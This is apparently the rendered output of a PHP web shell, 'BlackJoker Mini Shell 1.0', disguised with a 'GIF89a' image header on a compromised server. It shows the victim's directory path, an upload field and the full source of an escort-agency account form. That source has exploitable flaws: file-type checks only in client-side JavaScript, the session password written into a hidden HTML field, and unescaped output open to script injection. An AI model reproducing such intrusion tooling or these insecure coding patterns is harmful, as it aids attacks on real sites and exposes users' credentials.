GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/www/
Upload File :
Current File : /home/serb/www/create-agencyaccount.php

<?  session_start();
	include("lib/globals.php");
 	include("lib/common.php");
 	include("lib/functions.php");
	$page="my_account";
?>


<? include "includes/header_top.php";?>
<script type="text/javascript">
   function showimagepreview(input) {
  if (input.files && input.files[0]) {
  var filerdr = new FileReader();
  filerdr.onload = function(e) {
  $('#imgprvw').attr('src', e.target.result);
  }
   filerdr.readAsDataURL(input.files[0]);
  }
  }
 </script>
	<script language="javascript">
	function validate()
	{
		
		if(document.f1.agencyName.value=="")
		{
			alert("Enter your Agency Name");
			document.f1.agencyName.focus();
			return false;
		}
		
		if(document.f1.avt_image.value!=""){
					
				   var str = document.f1.avt_image.value;
				   var lower = str.toLowerCase();
				   var newStr = lower.substring(lower.length-4, lower.length);
				   //alert(newStr);
				   if((newStr!=".jpg")&&(newStr!=".jpeg")&&(newStr!=".png")&&(newStr!=".bmp")){
				   alert("You cannot upload executable files...! Please upload files in jpg or jpeg or png extension.");
				   document.f1.avt_image.focus();
				   return (false);
					}
				  }
		
		
		
		if(document.f1.phnumber.value=="")
		{
			alert("Enter your Contact number");
			document.f1.phnumber.focus();
			return false;
		}
		if(document.f1.phnumber.value.match(/^\(?([0-9]{3})\)?[-. ]?([0-9]{3})[-. ]?([0-9]{4})$/))
		{
			
		}
		else  
		 {  
			alert("Not a valid Phone Number");
			document.f1.phnumber.focus();  
			return false;  
		 } 
		 
		if((document.f1.email.value.indexOf('@',0)<1)||(document.f1.email.value.indexOf('.',0)<1))
		{
			alert("Enter any valid email address");
			document.f1.email.focus();
			return false;
		} 
		 
		 
		if(document.f1.aboutme.value=="")
		{
			alert("Describe something about your Agency");
			document.f1.aboutme.focus();
			return false;
		}
		
		
			
		/*if((document.f2.acctype[0].checked == false) &&(document.f2.acctype[1].checked == false) && (document.f2.acctype[2].checked == false)  && (document.f2.acctype[3].checked == false)  && (document.f2.acctype[4].checked == false))

		{
			
			alert("Select Your Account Type");
			return false;
			

		}*/
		
	
	}
</script>			

<body>
 <? include "includes/header.php";?>

	<div class="main_bg">
   
 		<div style="height:32px;"></div>
        <div  style="width:1000px; margin:0 auto;">
        	
            <div class="statedetails">
                	<div class="stdtls_header">
                    	<span style="color:#000;">Home/Create Agency Account
                    </div>
                    <div class="stdtls_midder">
                    	<div style="height:10px;"></div>
                    	
                        <div class="left_containmain"> 
                       
                           <div style=" width:960px; margin:0 auto; font-family:'Open Sans',sans-serif; font-size:14px; color:#000;">
                          		<form action="agencyprofile-insert.php" method="post" name="f1" style="margin: 0px; padding: 0px;" enctype="multipart/form-data" onSubmit="return validate();">
                                 <input name="submit_form" value="1" type="hidden">
                                
                                    <div class="srv_infodtlssss">
                                     <table border="0" cellspacing="0" cellspacing="0" style="margin:o auto; width:100%;">
                                    	<tr height="5"></tr>
                                        <tr>
                                          	<td colspan="2">Main<br/><img src="images/post_ad_divider.png" /></td>
                                         </tr>
                                        <tr height="10"></tr>
                                         <tr>
                                          	<td class="jointext222">* Agency Name :</td>
                                    		<td><input name="agencyName" id="agencyName" class="main_input3333" value="<?=$row_email['agency_name']?>"   type="text"></td>
                                           </tr>
                                           <tr height="5"></tr>
                                           <tr>
                                            <td class="jointext222"> Agency Logo :</td>
                                    		<td>
                                                    <? if($row_email['pic']=="")
													{?>
                                                    <img id="imgprvw" src="images/no_photo_female.gif"  style="width:120px; height:150px; vertical-align:middle; border:1px solid #D4D3D3;"/> <? } else { ?><img id="imgprvw" src="profile_pic/<?=$row_email['pic']?>"  style="width:120px; height:150px; vertical-align:middle; border:1px solid #D4D3D3;"/> <? } ?> <input type="file"  style="color:#ad7c7c; width:150px;" id="file111" class="textbox" name="avt_image" onChange="showimagepreview(this)"><input type="hidden" name="agencylogo" value="<?=$row_email['pic']?>" />
                                                    
                                                    
                                             </td>
                                           </tr>
                                           <tr height="10"></tr>
                                           <tr>
                                          	<td colspan="2">Contact Info<br/><img src="images/post_ad_divider.png" /></td>
                                         </tr>
                                        <tr height="10"></tr>
                                        <tr height="5"></tr>
                                                <tr>
                                                	<td class="jointext222"> Phone Number :</td>
                                    				<td>
                                                    <input name="phnumber" id="weight" class="main_input3333" value="<?=$row_email['agency_ph']?>"  type="text"  /><br/>
                                                    [Ex. 111-111-1111]
                                                    
                                                    </td>
                                                </tr>
                                                <tr height="5"></tr>
                                                <tr>
                                                	<td class="jointext222"></td>
                                    				<td>
                                                    	<input type="checkbox" name="updtphonetour" <? if($row_email['up_phone_tour']=='Yes') { ?> checked="checked" <? } ?> /> Update phone number for all tours
                                                     </td>
                                                </tr>
                                                <tr height="5"></tr>
                                                <tr>
                                                	<td class="jointext222"></td>
                                    				<td>
                                                    	<input type="checkbox" name="updtphoneescort" <? if($row_email['up_phone_escort']=='Yes') { ?> checked="checked" <? } ?>  /> Update phone number for all Escort
                                                     </td>
                                                </tr>
                                               
                                                <tr height="5"></tr>
                                                <tr>
                                                	<td class="jointext222"> Instructions :</td>
                                    				<td>
                                                    <select  id="ins" class="drp_img2" name="instruction">
                                                        <option name="PhoneText" value="SMSCalls" <? if($row_email['instruction']=='SMSCalls') { ?> selected="selected" <? } ?> >SMS & Calls</option>
                                                        <option name="PhoneText" value="SMSonly" <? if($row_email['instruction']=='SMSonly') { ?> selected="selected" <? } ?>>SMS only</option>
                                                        <option name="PhoneText" value="Callsonly" <? if($row_email['instruction']=='Callsonly') { ?> selected="selected" <? } ?>>Calls only</option>
                                                      </select>   		
                                                    </td>
                                                </tr>
                                                <tr height="5"></tr>
                                                 <tr>
                                                	<td class="jointext222"></td>                                            
                                            		<td>
                                                    	<input type="checkbox" name="hiddennumber"   /> No Hidden Numbers
                                           			 </td>
                                                </tr>
                                                <tr height="5"></tr>
                                                <tr>
                                                	<td class="jointext222"> Email :</td>
                                    				<td>
                                                    	
                                                       		<input type="text" name="email" value="<?=$_SESSION['reg_email']?>" class="main_input3333" />
                                                    </td>
                                                </tr>
                                                <tr height="5"></tr>
                                                <tr>
                                                	<td class="jointext222"> </td>
                                    				<td>
                                                       		<input type="checkbox" name="updateemail" <? if($row_email['email_up']=='Yes') { ?> checked="checked" <? } ?>  /> Update E-mail address in all tour
                                                    </td>
                                                </tr>
                                                 <tr height="5"></tr>
                                                <tr>
                                                	<td class="jointext222"> WebPage :</td>
                                    				<td>
                                                       		<input type="text" name="webpage" value="<?=$row_email['webpage']?>"  class="main_input3333" />
                                                    </td>
                                                </tr>
                                                 <tr height="5"></tr>
                                                <tr>
                                                	<td class="jointext222"> Skype :</td>
                                    				<td>
                                                       		<input type="text" name="skype" value="<?=$row_email['skype']?>" class="main_input3333" />
                                                    </td>
                                                </tr>
                                                <tr height="5"></tr>
                                                 <tr>
                                                	<td class="jointext222"> MSN :</td>
                                    				<td>
                                                       		<input type="text" name="msn" value="<?=$row_email['msn']?>" class="main_input3333" />
                                                    </td>
                                                </tr>
                                                <tr height="10"></tr>
                                          <tr>
                                          	<td colspan="2">Working Location<br/><img src="images/post_ad_divider.png" /></td>
                                         </tr>
                                        <tr height="10"></tr>
                                  		 
                                         <tr>
                                           <td colspan="2" align="center">
                                                        
                                            <textarea name="wrkcountry" class="main_input3333" style="width:300px !important; height:200px !important;"><?=stripslashes($row_email['wrk_location'])?></textarea><br/>[You can add multiple country]
                                                        
                                             </td>
                                                    
                                            </tr>
                                            <tr height="10"></tr>
                                            <tr>
                                          		<td colspan="2">About Me<br/><img src="images/post_ad_divider.png" /></td>
                                             </tr>
                                            <tr height="10"></tr>
                                            <tr height="5"></tr>
                                             <tr>
                                               <td colspan="2" class="jointext222"> Describe Something :</td>
                                                        
                                             </tr>
                                             <tr height="5"></tr>
                                             <tr>
                                               <td colspan="2" align="center"><textarea name="aboutme" class="main_input3333" style="width:300px !important; height:300px !important;"><?=stripslashes($row_email['agency_about'])?></textarea></td>
                                                        
                                              </tr>
                                                                                                  
                                              <tr height="5"></tr>
                                              <tr height="15"></tr>
                                                     <tr>
                                                     	<td colspan="2" style="text-align:center">
                                                        	
															<input type="image" src="images/submit.png" />
															<input type="hidden" name="userName" value="<?=$_SESSION['reg_username']?>" />
                                                             <input type="hidden" name="emailAddrs" value="<?=$_SESSION['reg_email']?>" />
                                                             <input type="hidden" name="passWord" value="<?=$_SESSION['reg_pass']?>" />
                                                             <input type="hidden" name="acctype" value="<?=$_SESSION['reg_acctype']?>" />
                                                             <input type="hidden" name="usercountry" value="<?=$_SESSION['countryname']?>" />
                                                             <input type="hidden" name="dob" value="<?=$_SESSION['DOB']?>" />
                                                             <input type="hidden" name="dobmonth" value="<?=$_SESSION['dob_month']?>" />
															
                                                        
                                                        </td>
                                                     
                                                     </tr> 
                                                     <tr height="20"></tr>
                                        
                                        
                                     </table>
                                    </div>
                                    
                               
                                <br class="spacer" />
                               </form>
            						
						
                        	</div>
                        <br class="spacer" />
                        </div>
                        
                    
                    </div>
                    <div class="stdtls_footer"></div>
                </div>
            
            <br class="spacer" />
            
        </div>
     
 </div>


<? include "includes/footer.php";?>

./BlackJoker Mini Shell 1.0